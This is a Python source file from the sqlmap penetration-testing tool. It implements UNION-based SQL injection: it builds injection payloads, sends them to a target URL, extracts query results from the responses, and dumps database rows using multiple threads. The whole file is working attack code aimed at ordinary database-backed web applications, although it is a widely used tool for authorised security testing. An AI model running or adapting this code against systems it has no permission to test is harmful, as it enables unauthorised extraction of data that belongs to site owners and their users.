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356
lib/techniques/union/use.py
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356
lib/techniques/union/use.py
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#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import threading
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import time
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from lib.core.agent import agent
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToStdout
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from lib.core.common import extractRegexResult
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from lib.core.common import filterStringValue
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from lib.core.common import getConsoleWidth
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from lib.core.common import getUnicode
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from lib.core.common import initTechnique
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from lib.core.common import isNumPosStrValue
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from lib.core.common import listToStrValue
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from lib.core.common import parseUnionPage
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from lib.core.common import removeReflectiveValues
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from lib.core.common import singleTimeWarnMessage
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from lib.core.convert import safecharencode
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapConnectionException
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.settings import FROM_TABLE
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from lib.core.settings import SQL_SCALAR_REGEX
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from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
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from lib.core.threads import getCurrentThreadData
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from lib.core.threads import runThreads
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.utils.resume import resume
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reqCount = 0
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def __oneShotUnionUse(expression, unpack=True):
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global reqCount
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check = "(?P<result>%s.*%s)" % (kb.misc.start, kb.misc.stop)
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trimcheck = "%s(?P<result>.*?)</" % (kb.misc.start)
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# Prepare expression with delimiters
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expression = agent.concatQuery(expression, unpack)
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expression = unescaper.unescape(expression)
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if conf.limitStart or conf.limitStop:
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where = PAYLOAD.WHERE.NEGATIVE
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else:
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where = None
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# Forge the inband SQL injection request
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
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payload = agent.payload(newValue=query, where=where)
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# Perform the request
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page, headers = Request.queryPage(payload, content=True, raise404=False)
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reqCount += 1
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# Parse the returned page to get the exact union-based
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# sql injection output
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output = reduce(lambda x, y: x if x is not None else y, [ \
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extractRegexResult(check, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
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extractRegexResult(check, removeReflectiveValues(listToStrValue(headers.headers \
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if headers else None), payload, True), re.DOTALL | re.IGNORECASE)], \
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None)
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if output is not None:
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output = getUnicode(output, kb.pageEncoding)
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else:
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trimmed = extractRegexResult(trimcheck, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE) \
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or extractRegexResult(trimcheck, removeReflectiveValues(listToStrValue(headers.headers \
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if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
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if trimmed:
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warnMsg = "possible server trimmed output detected (due to its length): "
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warnMsg += trimmed
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logger.warn(warnMsg)
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elif Backend.isDbms(DBMS.MYSQL) and not kb.multiThreadMode:
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warnMsg = "if the problem persists with 'None' values please try to use "
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warnMsg += "hidden switch --no-cast (fixing problems with some collation "
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warnMsg += "issues)"
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singleTimeWarnMessage(warnMsg)
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return output
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def configUnion(char=None, columns=None):
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def __configUnionChar(char):
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if not isinstance(char, basestring):
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return
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kb.uChar = char
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if conf.uChar is not None:
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kb.uChar = char.replace("[CHAR]", conf.uChar if conf.uChar.isdigit() else "'%s'" % conf.uChar.strip("'"))
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def __configUnionCols(columns):
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if not isinstance(columns, basestring):
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return
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columns = columns.replace(" ", "")
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if "-" in columns:
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colsStart, colsStop = columns.split("-")
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else:
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colsStart, colsStop = columns, columns
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if not colsStart.isdigit() or not colsStop.isdigit():
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raise sqlmapSyntaxException, "--union-cols must be a range of integers"
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conf.uColsStart = int(colsStart)
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conf.uColsStop = int(colsStop)
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if conf.uColsStart > conf.uColsStop:
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errMsg = "--union-cols range has to be from lower to "
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errMsg += "higher number of columns"
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raise sqlmapSyntaxException, errMsg
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__configUnionChar(char)
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__configUnionCols(conf.uCols or columns)
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def unionUse(expression, unpack=True, dump=False):
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"""
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This function tests for an inband SQL injection on the target
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url then call its subsidiary function to effectively perform an
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inband SQL injection on the affected url
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"""
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initTechnique(PAYLOAD.TECHNIQUE.UNION)
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global reqCount
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count = None
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origExpr = expression
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startLimit = 0
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stopLimit = None
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test = True
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value = ""
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reqCount = 0
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width = getConsoleWidth()
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start = time.time()
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
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# We have to check if the SQL query might return multiple entries
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# and in such case forge the SQL limiting the query output one
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# entry per time
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# NOTE: I assume that only queries that get data from a table can
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# return multiple entries
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if (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
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(dump and (conf.limitStart or conf.limitStop))) and \
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" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
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not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE \
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and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) \
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and not re.search(SQL_SCALAR_REGEX, expression, re.I):
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limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
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topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
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if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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if limitRegExp:
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limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
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limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif topLimit:
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startLimit = 0
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stopLimit = int(topLimit.group(1))
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limitCond = int(stopLimit) > 1
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elif Backend.isDbms(DBMS.ORACLE):
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
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expression = expression[:untilLimitChar]
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elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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stopLimit += startLimit
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elif dump:
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if conf.limitStart:
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startLimit = conf.limitStart
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if conf.limitStop:
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stopLimit = conf.limitStop
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# Count the number of SQL query entries output
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countedExpression = expression.replace(expressionFields, "COUNT(*)", 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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count = resume(countedExpression, None)
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count = parseUnionPage(count, countedExpression)
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if not count or not count.isdigit():
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output = __oneShotUnionUse(countedExpression, unpack)
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if output:
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count = parseUnionPage(output, countedExpression)
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if isNumPosStrValue(count):
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if isinstance(stopLimit, int) and stopLimit > 0:
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stopLimit = min(int(count), int(stopLimit))
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else:
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stopLimit = int(count)
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infoMsg = "the SQL query used returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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else:
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the used SQL query. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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try:
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threadData = getCurrentThreadData()
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numThreads = min(conf.threads, stopLimit-startLimit)
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threadData.shared.limits = range(startLimit, stopLimit)
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threadData.shared.value = ""
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if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
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kb.suppressResumeInfo = True
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debugMsg = "suppressing possible resume console info because of "
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debugMsg += "large number of rows. It might take too long"
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logger.debug(debugMsg)
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lockNames = ('limits', 'value')
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for lock in lockNames:
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kb.locks[lock] = threading.Lock()
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def unionThread():
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threadData = getCurrentThreadData()
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while kb.threadContinue:
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kb.locks.limits.acquire()
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if threadData.shared.limits:
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num = threadData.shared.limits[-1]
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del threadData.shared.limits[-1]
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kb.locks.limits.release()
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else:
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kb.locks.limits.release()
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break
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if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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field = expressionFieldsList[0]
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elif Backend.isDbms(DBMS.ORACLE):
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field = expressionFieldsList
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else:
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field = None
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limitedExpr = agent.limitQuery(num, expression, field)
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output = resume(limitedExpr, None)
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if not output:
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output = __oneShotUnionUse(limitedExpr, unpack)
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if not kb.threadContinue:
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break
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if output:
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kb.locks.value.acquire()
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threadData.shared.value += output
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kb.locks.value.release()
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if conf.verbose == 1:
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if all(map(lambda x: x in output, [kb.misc.start, kb.misc.stop])):
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items = extractRegexResult(r'%s(?P<result>.*?)%s' % (kb.misc.start, kb.misc.stop), output, re.DOTALL | re.IGNORECASE).split(kb.misc.delimiter)
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else:
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items = output.replace(kb.misc.start, "").replace(kb.misc.stop, "").split(kb.misc.delimiter)
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status = "[%s] [INFO] retrieved: %s\r\n" % (time.strftime("%X"), safecharencode(",".join(map(lambda x: "\"%s\"" % x, items))))
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if len(status) > width:
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status = "%s..." % status[:width - 3]
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kb.locks.ioLock.acquire()
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dataToStdout(status, True)
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kb.locks.ioLock.release()
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runThreads(numThreads, unionThread)
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if conf.verbose == 1:
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clearConsoleLine(True)
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except KeyboardInterrupt:
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warnMsg = "user aborted during enumeration. sqlmap "
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warnMsg += "will display partial output"
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logger.warn(warnMsg)
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except sqlmapConnectionException, e:
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errMsg = "connection exception detected. sqlmap "
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errMsg += "will display partial output"
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errMsg += "'%s'" % e
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logger.critical(errMsg)
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finally:
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value = threadData.shared.value
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kb.suppressResumeInfo = False
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if not value:
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value = __oneShotUnionUse(expression, unpack)
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duration = calculateDeltaSeconds(start)
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if not kb.bruteMode:
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debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
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logger.debug(debugMsg)
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return value
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